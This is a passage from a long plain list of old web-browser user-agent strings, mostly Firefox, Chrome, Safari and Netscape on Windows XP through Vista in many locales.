U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 